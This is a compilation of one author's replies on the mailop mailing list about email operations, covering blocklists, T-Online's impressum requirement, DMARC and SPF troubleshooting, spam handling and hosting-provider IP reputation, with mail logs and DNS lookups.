Re: [mailop] Meta outgoing servers in black list (SORBS, 0SPAM...)

[Renaud Allard via mailop]

On 2/1/24 10:32, Eduardo Díaz Comellas via mailop wrote:

Hi,

I've got a customer complaining that they don't receive emails from Meta 
for password reset. We have tracked down this to see that a lot of this 
servers are blacklisted in popular blacklists.




Let's face it, if you are using 0spam, ascams or SORBS to deny mails 
based only on these lists, you are losing legitimate mails. Those 
blacklists should only be used in a scoring system.


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] belgacom.be / skynet.be - massing phishing

[Renaud Allard via mailop]

On 13/10/2023 19:56, Hans-Martin Mosner via mailop wrote:

Am 13.10.23 um 18:30 schrieb Mary via mailop:

Hello everyone,

Anyone from belgacom.be notice massive amounts of phishing with/from skynet.be 
addresses?

I've tried to report them without success. Posted on spamcop.net in case anyone 
would notice, again without success.


No, they don't notice, they probably don't care. I've reported this for 
a while, without noticeable effect. After a while I stopped and use the 
spamblocking mechanisms. If some Belgacom customer has a legitimate need 
to communicate with our users they will need to talk to us for 
individual whitelisting.




Did you try reporting through 
https://www.proximus.com/investors/regulatory-information/abuse.html# ?


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] Abuse AUTH from Microsoft outlook IP space

[Renaud Allard via mailop]

On 8/14/23 11:33, Dan Malm via mailop wrote:

On 2023-08-14 11:05, Jaroslaw Rafa via mailop wrote:

Dnia 14.08.2023 o godz. 10:42:53 Dan Malm via mailop pisze:
Do you have AUTH turned on on port 25? Why?
Or are they accessing the submission port?


I don't think anything i wrote suggested this was relating port 25... 
They're connecting to port 465 to a system that is solely used for 
outbound mail. Inbound MX:es have different hostnames and IPs.




Then, as someone else suggested, this is probably caused by "outlook for 
mobile".


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] Unbound configuration for DNSBL ?

[Renaud Allard via mailop]

On 3/27/23 16:46, Cyril - ImprovMX via mailop wrote:


Using OpenDNS in between shouldn't be an issue since we use a key to 
query SpamHaus that is specific to us. OpenDNS relay that query so we 
are properly identified at Spamhaus and aren't doing anything trickery.
We've seen the configuration with them and they haven't raised any 
issues with it.




If you are using a DNS key from spamhaustech, there is no technical 
problem in using OpenDNS. Although you should probably query the servers 
yourself as OpenDNS won't really add any value to your queries and you 
have no means to control what they answer you, or don't really know what 
they are doing in terms of caching, etc. Also, with mails, having a few 
more milliseconds of delays won't do anything bad, so there is no need 
to search for the fastest DNS provider, it's better to have full control 
on your queries.


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] Unbound configuration for DNSBL ?

[Renaud Allard via mailop]

On 3/27/23 11:17, Cyril - ImprovMX via mailop wrote:

Hi everyone!

We have a few SpamAssassin servers running that test against services 
such as SpamHaus, URIBL, etc.

We often have our queries blocked because we go beyond the free usage.

As such, we started a trial with SpamHaus, and the result is that we 
query around 8M times per day.


Our current infrastructure is a set of SA servers that use our (local 
network) DNS server - Unbound, to optimize the queries (caching and the 
like).


I'm not an expert on Unbound and would love your input on how we can 
fine-tune it to work better on caching the requests made to SpamHaus and 
reducing the number of queries we are doing.


Right now, here's our Unbound.conf file:
https://pastebin.com/PZWUn4My 

Just in case, here's our current SA file:
https://pastebin.com/E2y1Yqm8 

If any of you have any suggestions on how we can optimize these 
configurations, I'd love to have your feedback!


Making DNSBL queries through open DNS servers is forbidden/discouraged 
by most of the DNSBL providers. Obviously, you are not alone doing it, 
so those servers are making a lot of queries and get rate limited/banned.


Setting your cache-min-ttl higher than what is told by the DNS servers 
might improve your caching, but might also cause false positives if the 
IP has been removed from the list. And setting a cache-max-ttl isn't 
going to improve anything, all the contrary.


Please also be aware that many DNSBL providers have subscriptions for 
commercial senders like you, and that's probably the way to go. If you 
cannot afford paying for them, maybe your pricing model is wrong.


There are obvious ways to bypass rate limiting (although it probably 
doesn't scale that well), but I am not going to divulge that as this is 
the best way to get many free lists non free anymore.


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] mailgun anybody? (variable sender address) time

[Renaud Allard via mailop]

On 3/23/23 16:31, Laura Atkins via mailop wrote:



On 23 Mar 2023, at 14:47, Heiko Schlittermann via mailop 
 wrote:


Hi,

does anybody from mailgun read here?
Your messages are tmprejected at our systems, w/o any chance to pass
ever.


Why are you using tmp rejections for something permanent?



I would say, that's called greylisting. But with a changing envelope, 
the message has no chances to pass any greylisting process. The 
behaviour from mailgun would make them unable to pass any kind of 
greylisting anywhere.


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] Sometimes I hate Microsoft :)

[Renaud Allard via mailop]

On 3/9/23 16:25, Eduardo Diaz Comellas via mailop wrote:

Hi,

Sorry for the rant, but I need to get this off my chest. Microsoft's MXs 
are accepting emails from one of my customers but then not delivering 
them to the recipient inboxes...


Why can't they decide *before* accepting the email, like any sensible 
citizen?


At least, they should send NDRs... :(



They don't seem to care about NDR. I have recently sent a mail from O365 
to one of my personal accounts outside O365, and it was refused (with 
5XX error) because some MS servers were on a blacklist. And I never got 
the NDR on my O365 account, so it seems they don't even send the NDR 
anymore to (at least some of) their own users either.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] T-Online is now really blocking messages from non-commercial and simliar senders

[Renaud Allard via mailop]

On 10/21/22 04:13, Kai 'wusel' Siering via mailop wrote:

Am 21.10.22 um 00:33 schrieb Graeme Fowler via mailop:

No. There will be no changes to the Exim default configuration


So sad. It's up to the packagers then to fix the shit that hits the fan.


Being a packager for exim, I can tell you that this has probably not the 
slightest chance of occurring.
A packagers "job" is not to modify the default config to express his 
political views, but to make the least amount of modifications to make 
it work on the OS/platform they are packaging it to.


I don't like what t-online does as it hurts interoperability, but 
banning a specific company/individual in a _default_ configuration is 
not the way to go.


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] T-Online is now really blocking messages from non-commercial and simliar senders

[Renaud Allard via mailop]

On 10/20/22 14:51, Jaroslaw Rafa via mailop wrote:

Dnia 19.10.2022 o godz. 20:08:30 Bernardo Reino via mailop pisze:

That seems really "interesting". How does that impressum look like, which
has the magical power of transforming a private server into a "commercial"
one? What should it contain? Could you provide a link to yours?


Well, now that it's public anyway :) -> www.bbmk.org


So basically they require anybody who runs a mail server to put their street
address and telephone number online to be publicly available???



Now, one has to wonder how they can verify if the information is 
correct? And also, what are the risks of providing fake information?


What if I say in my impressum something like this:
Jorge Mario Bergoglio
Lungotevere Castello, 50
00193 Roma RM, Italia
+39066819111
tonl...@mydomain.com

OK, that one is obviously fake, but the data is coherent.



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] T-Online is now really blocking messages from non-commercial and simliar senders

[Renaud Allard via mailop]

On 10/19/22 23:19, Kai 'wusel' Siering via mailop wrote:

Am 19.10.22 um 21:28 schrieb Bernardo Reino via mailop:

On Wed, 19 Oct 2022, Renaud Allard via mailop wrote:

If you try deleting the impressum, please share your experience on 
what happens with t-online.


Yup. I have another server for which I have to request whitelisting.. 
but it's a bit more difficult because the front page of the domain is 
the webmail (roundcube), so I have to figure out how to inject the 
Impressum there.


Once I've managed that and they whitelist it, I'll try to remove the 
Impressum there (it's a less critical server I manage for a friend, so 
hopefully he won't notice..).


Hopefully I can report in a few days :)


You are aware that people responsible for t-online.de do participate on 
this list, too? ;-)


So perhaps, they should reply to the topic explaining their point of 
view. Some people from big mailers do that.


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] T-Online is now really blocking messages from non-commercial and simliar senders

[Renaud Allard via mailop]

On 10/19/22 20:08, Bernardo Reino via mailop wrote:


I wonder what happens if I delete the "Impressum" in a few days, but who 
knows, maybe they do add some monitoring for *that* ¯\_(ツ)_/¯




If you try deleting the impressum, please share your experience on what 
happens with t-online.


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] T-Online is now really blocking messages from non-commercial and simliar senders

[Renaud Allard via mailop]

On 10/19/22 16:10, Kai 'wusel' Siering via mailop wrote:

On 19.10.22 15:55, Renaud Allard via mailop wrote:
They blocked at least my non commercial mail server until I added an 
impressum. So, I guess they now block everyone without an impressum. 


But that's the status quo for several years. Question is: do they still 
adhere to that, or would they reject an appliction from you for a new 
sending IP because you're a non commercial mail server.


Actually, I had to contact them and show them the impressum page to be 
whitelisted, so this seems at least partially manual. So, you might need 
to contact them for any new IP. But I hope they are smart enough to 
store the domain names in databases where they can verify the legitimacy 
in a more automated way.


The later is 
what their recent reply to some people implies; unfortunately I only 
know of a German language version of that, dated about a month ago:



Nachdem wir nur nachvollziehbar kommerziellen und vergleichbaren
Betreibern erlauben, sich mit unseren Mailservern zu verbinden,
verwenden Sie als/für Privatnutzer bitte ein SMTP-Relay bzw. Mailgateway
des Hosters oder ISPs, um E-Mails im Rahmen der vertraglichen Leistungen
vom Mailserver über dessen offizielles Mailgateway zu senden. Der
dortige Support ist Ihnen bei der Konfiguration sicherlich gerne
behilflich.

Für weitere Informationen und Hinweise beachten Sie bitte auch unsere
FAQ: https://postmaster.t-online.de/


On that link, as of today, still the imprint stuff is listed as a 
prerequisite to be whitelisted, so the question remains: did Deutsche 
Telekom change their policy or "just" their wording?


I think it was already like this when I contacted them in January. But I 
never went to the German language page, only the English one.


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] T-Online is now really blocking messages from non-commercial and simliar senders

[Renaud Allard via mailop]

On 10/19/22 15:49, Kai 'wusel' Siering via mailop wrote:


But see my initial reply: it's unclear as of now if section 4.1 of their 
postmaster site still applies, or if they now reject any application 
from "non-commercial" mailservers (as their current statement implies).




They blocked at least my non commercial mail server until I added an 
impressum. So, I guess they now block everyone without an impressum.


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] T-Online is now really blocking messages from non-commercial and simliar senders

[Renaud Allard via mailop]

On 10/19/22 13:33, Heiko Schlittermann via mailop wrote:

Hello,

I'm not sure how to complain and where. But I hope that here we can
start a discussion again. I'm quite upset.

Is this the new world?

A given mailhost (ran privately for smaller entities) can't send
messages to T-Online anymore.

   554 IP=168.119.159.241 - A problem occurred. …



Do you have an impressum page on your website? T-online will reject any 
mail from a server without an impressum. This happened to me this year 
and, after contacting them, they made it clear that I would not be able 
to send mails to them without that impressum.

Check this URL too:
https://postmaster.t-online.de/index.en.html#t4.1


The sending IP belongs to a rented host (rented from a major German
hoster). The answer he (the owner of that host) got was about like this:

(translation by me):
   Sorry, we only accept messages from proven
   commercial or similiar servers. Please use the SMTP relay of your hoster
   or your ISP.

I know that T-Online's postmaster announced this kind of behaviour, but
I didn't expect that they are going to implement it, as I saw enough
complaints here.

 From my point of view they now force smaller MSP into contracts with
bigger mail relays, working towards a centralization of mail services,
which IMHO is exactly the opposite way mail was originally designed to
work as.

@mailops: What's your opinion?

Personally I consider this quite rude, and as a smaller ISP I'll be hit
sooner or later. As an Exim developer I'm asking myself why they
(T-Online) assume that I shouldn't run my own mail service.

 Best regards from Dresden/Germany
 Viele Grüße aus Dresden
 Heiko Schlittermann
--
  SCHLITTERMANN.de  internet & unix support -
  Heiko Schlittermann, Dipl.-Ing. (TU) - {fon,fax}: +49.351.802998{1,3} -
  gnupg encrypted messages are welcome --- key ID: F69376CE -


___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] gmail: Benefit of a generic SPF-record?

[Renaud Allard via mailop]

On 9/29/22 15:27, Stefan Neufeind via mailop wrote:

Hi,

I recently came across an email being rejected by gmail.com with:

This message does not pass authentication checks (SPF and DKIM both do 
not pass). SPF check for [...] does not pass with ip: [...].


That email was not spam but authenticated to the mailserver mentioned 
(the ip given above), which is listed as MX for that domain etc. There 
was no SPF-record at that time. I'm now going to retry with an "as basic 
as possible" SPF-record. But does a SPF like


   v=spf1 a mx ~all

have any real benefit? And if it does, why isn't it sufficient that the 
domain and ip listed above belong to the legitimate MX? Of course that 
IP had proper rDNS and all that.


With this kind of SPF record, there is no real benefit, apart from 
having an SPF record which basically says: "we can send from any IP in 
the world". So, yes, _maybe_ you wouldn't get the gmail rejection 
message, but that doesn't mean your mail will land anywhere nearby the 
inbox. But only google can tell you.


As long as you don't have proper restrictive SPF/DMARC/rDNS, don't 
expect big players to allow your mail enter the inbox.


That doesn't mean you can't try it, after all, it might work.



It's becoming more and more crazy with some of the bigger mail-providers 
out there *sigh*




It's not really new and can even be worse with other "big mail providers".


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] Reject vs spam folders

[Renaud Allard via mailop]

On 9/16/22 22:01, Gellner, Oliver wrote:



Am 16.09.2022 um 08:26 schrieb Renaud Allard via mailop :

When I was using spam folders, for every mail going into that folder, the 
sender was getting a 5XX answer telling that the message might not be read as 
it was sent into the spam folder.


Interesting approach. With which MTA / spamfilter did you set up this behaviour?


It was set up with exim.


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] The oligopoly has won.

[Renaud Allard via mailop]

On 9/14/22 10:57, Alessandro Vesely via mailop wrote:

     * Stop blackholing.


That one is the absolute worst of the worst of the worst. Blackholing is 
something that _MUST NOT_ be done, ever, for whatever reason. There is 
never and has never been a good reason for blackholing. If you don't 
like a mail, give it a 5XX error, never accept it. When you have 
accepted a mail you MUST deliver it.


Even "spam folder" is a bad idea. If it's spam, reject it with 5XX. You 
can never be sure people will look in the spam folder. And if they do 
check it, why should it be there in the first place, email could as well 
land in inbox, that's one less action to take to see your mails.


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] Anyone want to have fun?

[Renaud Allard via mailop]

On 3/3/22 16:17, Michael Peddemors via mailop wrote:

whois emailsvr.net
No match for domain "EMAILSVR.NET"

Time to register a domain?

CONN: 34.194.188.63 -> 25 GeoIP = [US] PTR = 
otransport-22.outbound.emailsrv.net


And who would put a professional service on an AWS IP with no SWIP/rwhois?


emailsrv or emailsvr?


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] DMARC verification issues at infomaniak.com

[Renaud Allard via mailop]

On 1/26/22 15:19, Bastian Blank via mailop wrote:

On Wed, Jan 26, 2022 at 12:54:50PM +0100, Renaud Allard via mailop wrote:

I am getting DMARC rejections at infomaniak.com. There seems to be an issue
in their DMARC verifications. I tested DMARC sending to gmail which confirms
me DMARC is OK for that domain.


The email you sent to this list does not contain an alligned DKIM
signature:

| Reply-To: Renaud Allard 
| DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; s=default; bh=+XmUCCU2fEMU
|  vKLp3lZ2fc0YxNWXp3p9vFNlEBumO6w=; h=subject:from:to:date;
|  d=arnor.org;
|  b=gD+aAMh6+qNuDcF47kV1yXRqap+nbpqRy769CSCYOwa2vqThXVawUPJywGeHdTdSzasB
|  SfUBPQFvaj+2pA2Fxvlix0MfUPJc0pdcZyYWrKly3UWUkw4bQeM8p+9DdmBVOckXoafrwr
|  i6DW4c9HbVX6Vp1Q7kAg/PKkihEE+uxKIQdmdvXkrB3LHhxHomykI3b56rN2ShzNOJ2wmG
|  1hECC6Otb3lSJAXei8teW/kj60LKRKdol/4TXJOhLlj1Pmz9uLHbgVlSck2K+Hp1Ok0Ku9
|  JC1wFecDjxP5RMM82lEOyXzLmWvrdz7y/utDL2Hdjtp2IW6/igkTtjyx1yrFY3eA==

The address seems to be @allard.it, but it is signed for arnor.org.  You
need to make sure both domains are alligned.



Thank you for the tip. I have now aligned the domains. But it's quite 
strange that:

1: it worked for infomaniak.com till today
2: it works for every other provider


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] DMARC verification issues at infomaniak.com

[Renaud Allard via mailop]

On 1/26/22 14:35, Andrew C Aitchison via mailop wrote:

On Wed, 26 Jan 2022, Renaud Allard via mailop wrote:


On 1/26/22 13:12, Andrew C Aitchison via mailop wrote:

On Wed, 26 Jan 2022, Renaud Allard via mailop wrote:

I am getting DMARC rejections at infomaniak.com. There seems to be 
an issue in their DMARC verifications. I tested DMARC sending to 
gmail which confirms me DMARC is OK for that domain.

Is there anyone here from infomaniak who can check this issue?

Jan 26 12:28:02 isildur smtpd[8927]: 7d3268f1d44f2cad mta delivery 
evpid=b037b0d7d3e854e6 from=<@waucquez.org> 
to=<*@avocats-verbruggen.be> rcpt=<-> source="192.168.254.2" 
relay="83.166.143.58 (mx02.infomaniak.com)" delay=2s 
result="PermFail" stat="550 5.7.1 rejected by DMARC policy for 
waucquez.org"


# host _dmarc.waucquez.org
_dmarc.waucquez.org is an alias for _dmarc.arnor.org.
# host -t any _dmarc.arnor.org.
_dmarc.arnor.org descriptive text "v=DMARC1; p=reject; sp=reject; 
pct=100;"


Looks to me that infomaniak are doing what you/waucquez.org/arnor.org 
requested.




I indeed asked to reject mails when DMARC fails, not when DMARC is OK. 
So, while it's indeed applying the policy correctly in case of a 
failure, it doesn't return the correct answer for the checks...


You are correct.

# host -t txt waucquez.org
waucquez.org descriptive text "v=spf1 redirect=arnor.org"
# host -t txt arnor.org
arnor.org descriptive text "v=spf1 mx a:isildur.arnor.org 
a:amandil.arnor.org a:elendil.arnor.org a:elrond.arnor.org 
a:mail.openbsd.org -all"

... which does not include "192.168.254.2" :-)


But it includes the NATted IP from which the server is going out ;)



So 83.166.143.58 (mx02.infomaniak.com) is failing the message on SPF 
because of the internal route through their system. They are ideed at 
fault.


My apologies.



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] DMARC verification issues at infomaniak.com

[Renaud Allard via mailop]

On 1/26/22 13:12, Andrew C Aitchison via mailop wrote:

On Wed, 26 Jan 2022, Renaud Allard via mailop wrote:

I am getting DMARC rejections at infomaniak.com. There seems to be an 
issue in their DMARC verifications. I tested DMARC sending to gmail 
which confirms me DMARC is OK for that domain.

Is there anyone here from infomaniak who can check this issue?

Jan 26 12:28:02 isildur smtpd[8927]: 7d3268f1d44f2cad mta delivery 
evpid=b037b0d7d3e854e6 from=<@waucquez.org> 
to=<*@avocats-verbruggen.be> rcpt=<-> source="192.168.254.2" 
relay="83.166.143.58 (mx02.infomaniak.com)" delay=2s result="PermFail" 
stat="550 5.7.1 rejected by DMARC policy for waucquez.org"


# host _dmarc.waucquez.org
_dmarc.waucquez.org is an alias for _dmarc.arnor.org.
# host -t any _dmarc.arnor.org.
_dmarc.arnor.org descriptive text "v=DMARC1; p=reject; sp=reject; pct=100;"

Looks to me that infomaniak are doing what you/waucquez.org/arnor.org 
requested.




I indeed asked to reject mails when DMARC fails, not when DMARC is OK. 
So, while it's indeed applying the policy correctly in case of a 
failure, it doesn't return the correct answer for the checks...


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

[mailop] DMARC verification issues at infomaniak.com

[Renaud Allard via mailop]

Hello,

I am getting DMARC rejections at infomaniak.com. There seems to be an 
issue in their DMARC verifications. I tested DMARC sending to gmail 
which confirms me DMARC is OK for that domain.

Is there anyone here from infomaniak who can check this issue?

Jan 26 12:28:02 isildur smtpd[8927]: 7d3268f1d44f2cad mta delivery 
evpid=b037b0d7d3e854e6 from=<@waucquez.org> 
to=<*@avocats-verbruggen.be> rcpt=<-> source="192.168.254.2" 
relay="83.166.143.58 (mx02.infomaniak.com)" delay=2s result="PermFail" 
stat="550 5.7.1 rejected by DMARC policy for waucquez.org"


Thank you,
Best Regards


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] 0spam.org DNSBL SERVFAIL

[Renaud Allard via mailop]

On 13/11/2021 01:59, John Levine via mailop wrote:

It appears that Slavko via mailop  said:

-=-=-=-=-=-
-=-=-=-=-=-

Hi,

I am using bl.0spam.org and nbl.0spam.org RBLs in my custom RBL check
script, but in more days their DNS server returns SERVFAIL.


When I do an A lookup on bl.0spam.org or 2.0.0.127.bl.0spam.org it
works fine, valid DNSSEC.

Where are you looking for an SOA, any why?



It fails here too


# time dig 2.0.0.127.bl.0spam.org

; <<>> dig 9.10.8-P1 <<>> 2.0.0.127.bl.0spam.org
;; global options: +cmd
;; connection timed out; no servers could be reached
0m15.04s real 0m00.01s user 0m00.01s system


Nov 13 12:56:50 isildur unbound: [26499:2] info: 127.0.0.1 
2.0.0.127.bl.0spam.org. A IN SERVFAIL 15.810396 0 51
Nov 13 12:56:50 isildur unbound: [26499:2] info: 127.0.0.1 
2.0.0.127.bl.0spam.org. A IN SERVFAIL 59.511577 0 40





smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] Feasibility of a private DNSBL

[Renaud Allard via mailop]

On 11/4/21 3:21 PM, Michael Peddemors via mailop wrote:

On 2021-11-04 7:07 a.m., Larry M. Smith via mailop wrote:


While not perfect, it is a smart technique.  The only thing is the 
actual DNS server itself has to either be modified to parse and check 
the key, or it has to set up a 'zone' dynamically as people register for 
their keys.  If the later of course, you could have a very large set of 
zones to be maintained, if you are popular enough, one for each 
registered user.




In the same way, the smtp server should not give the list with the key 
as an answer to the potential spammer. Like "550 blacklisted at 
hereismykeyfeelfreetouseit.zen.dq.spamhaus.net". ;)




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] How to detect fraud login in POP IMAP or SMTP?

[Renaud Allard via mailop]

On 9/23/21 10:56 AM, Steve Freegard via mailop wrote:

Hi Alessio,

You could try our Authentication Blocklist: 
https://docs.abusix.com/ami-production-zones/authbl


This doesn't pre-emptively list cloud IPs, it only lists IPs where we've 
seen evidence of compromise/abuse and these come from a variety of 
sources, some of them I believe to be novel to us and is updated every 
minute.


There's a free trial available on our website if you're interested and 
you're welcome to contact me off-list.




I agree, I am using abusix authbl, along with
spamhaus authbl and it works quite well.



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] google at spamhaus

[Renaud Allard via mailop]

On 8/31/21 12:04 PM, Tim Bray via mailop wrote:

Hi all,

I noticed that a google IPv6 address was recently listed in spamhaus XBL.

2607:f8b0:4864:20::82c at  2021-08-30 19:27:45 UTC

I just thought this a bit unusual and worth a mention.  Probably the 
first time I've seen spamhaus block a genuine sender (to me)



https://www.spamhaus.org/query/ip/2607:f8b0:4864:20::82d

confirms 'has been detected 1 times in the last month. It has been 
removed 1 times.'


Any thoughts?



Do you mean that because they are google, they are superior and cannot 
be blacklisted? IMHO, if that IP was caught sending spam, it deserves to 
be blacklisted.


To be honest, almost all the spam I still receive in my own mailbox 
nowadays originate from gmail servers.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] Cyren status regularly flapping back to Suspicious

[Renaud Allard via mailop]

On 05/07/2021 14:45, Florian Effenberger via mailop wrote:

Hello,

I have some issues with the Cyren blocklist - one recipient's server is 
bouncing mails back with


550-5.7.1 This email was rejected because it violates our security policy
550 5.7.1 CYREN IP reputation determined a medium risk associated with
the sender address X.X.X.X. (in reply to DATA command)

Their website lists the IP as yellow ("Suspicious"), with an explanation 
of "The IP has only recently started sending mails, and therefore still 
has an Unknown reputation".




I am also getting the same thing, it seems I never get a reputation, 
while also being on many whitelists and being blacklisted nowhere. 
However, my mails are not being rejected but greylisted. So I am also 
interested in knowing how to get on their reputation list.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] Info - DMARC at WEB.DE, GMX, mail.com coming soon

[Renaud Allard via mailop]

On 09/03/2021 18:38, Arne Allisat via mailop wrote:

Just a short info to whom it might interest:

Very soon, we will go live with DMARC check on incoming mails for all 
mailboxes operated by WEB.DE, GMX & mail.com .
That covers several hundred of recipient domains [1] and roughly 50% of 
the German email users.


For now we will handle reject and quarantine policies equally as 
quarantine.


Why not respect the will of the senders and reject when they ask to do so?



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] Hotmail and block on OVH: possible solutions alternatives?

[Renaud Allard via mailop]

On 2/25/21 2:48 PM, John Capo via mailop wrote:

On Thu, February 25, 2021 03:41, Ignacio García via mailop wrote:


I know OVH's not a favorite among pros, but for me, their dedicated
servers work well and aren't very expensive.  Can anybody recommend a somewhat 
similar solution
with a better IP segments reputation?


Vultr.com blocks port 25 until you prove who you are and provide a credit card. 
 A good policy IMHO.



Also, it's not automatic, you need to ask for the opening and give a 
good reason. Which is an even better policy ;)




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] Hotmail and block on OVH: possible solutions alternatives?

[Renaud Allard via mailop]

On 2/25/21 9:41 AM, Ignacio García via mailop wrote:

Hi there


We are a small ISP for small and medium companies only. We have several 
email servers hosted at OVH/SoYouStart. Although some OVH IP segments 
are not of the likes of Microsoft, some of my servers have been running 
for so long without any incidents that their IPs have had a normal 
reputation at Microsoft for years. Now we've set up some more, but even 
our failover IPs are completely blocked by Hotmail servers. We of course 
have added those IPs to the SNDS monitoring program, no email has been 
sent since we rented those servers more than 2 months except for this 
week, after set up and internal initial beta testing.



 From your experience, how long may it take to MS to allow 
communications from those IPs? Is there anything else we can do to to 
help solve this situation?



I know OVH's not a favorite among pros, but for me, their dedicated 
servers work well and aren't very expensive.  Can anybody recommend a 
somewhat similar solution with a better IP segments reputation?





I stopped using OVH years ago because of the bad reputation of their IP 
ranges. That said, I saw that if you get an IP range outside France, the 
reputation is better.
Now, let's be honest, many cheap providers are on blacklists. The 
interesting thing I saw is that when you purchase more expensive servers 
(even at OVH), you often get a better reputation.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] How important is an ipv6 ptr record?

[Renaud Allard via mailop]

Check RFC1912 #2.1

In short, and for mails, if you don't have a PTR (v4 or v6), forget 
delivering mails.


On 2/10/21 1:20 PM, Eliot Lear via mailop wrote:

Do people care about them if there is an appropriate SPF record in place?

Thanks,

Eliot

___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop


smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] Is it something to worry about?

[Renaud Allard via mailop]

On 1/20/21 1:58 PM, Jim Popovitch via mailop wrote:

On Wed, 2021-01-20 at 13:29 +0100, Hetzner Blacklist via mailop wrote:


New/current policy: http://www.uceprotect.net/en/index.php?m=3=5



You failed to mention this bit from that link:

  "UCEPROTECT-Level 3 lists all IP's within an ASN except those approved
and clean IP's that are registered at ips.whitelisted.org"




Isn't that exactly what is called as extortion/blackmail?

Anyway, your network, your rules, don't complain if you are using 
UCEPROTECT above level 1 and rejecting perfectly valid emails.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] Is it something to worry about?

[Renaud Allard via mailop]

On 1/20/21 11:10 AM, Hans-Martin Mosner via mailop wrote:

Am 20.01.21 um 10:40 schrieb Jaroslaw Rafa via mailop:

Hello,
just got an information from MxToolbox that my IP (actually not my IP in
particular, but the ASN it belongs to) has been blacklisted at UCEPROTECT
level 3. Checking of my IP (217.182.79.147) at
http://www.uceprotect.net/en/rblcheck.php gives the info that it has been
listed because there were 1868 spamming IPs from within this ASN last 7
days while their threshold for level 3 listing is 717.

My question is: how widely is this BL (UCEPROTECT level 3) used? Do I have
to worry about deliverability? Their page tells me to ask my provider to fix
the issue, which I will do, but... it's OVH, so you know...

I also find it quite impudent that the people who run UCEPROTECT offer
the whitelisting option (ips.whitelisted.org), but request payment for it...
If you provide access to blacklist for free, you should whitelist for free
as well.


On one hand, UCEPROTECT is relatively aggressive, and their unlisting policy is 
at least questionable. However, running
a blacklist incurs costs in terms of server time and admin time, so if they 
provide access for free, how should they
recover their costs?

On the other hand - this is OVH! They are huge, and they don't seem to have a 
working abuse desk (at least I never got
any reaction to abuse reports I sent there, and I've most likely send 
hundreds). This means they are an attractive
spammer haven, and the number of persistent spammers in their network is 
significant.

In light of this, UCEPROTECT taking whitelisting fees from users of cheap 
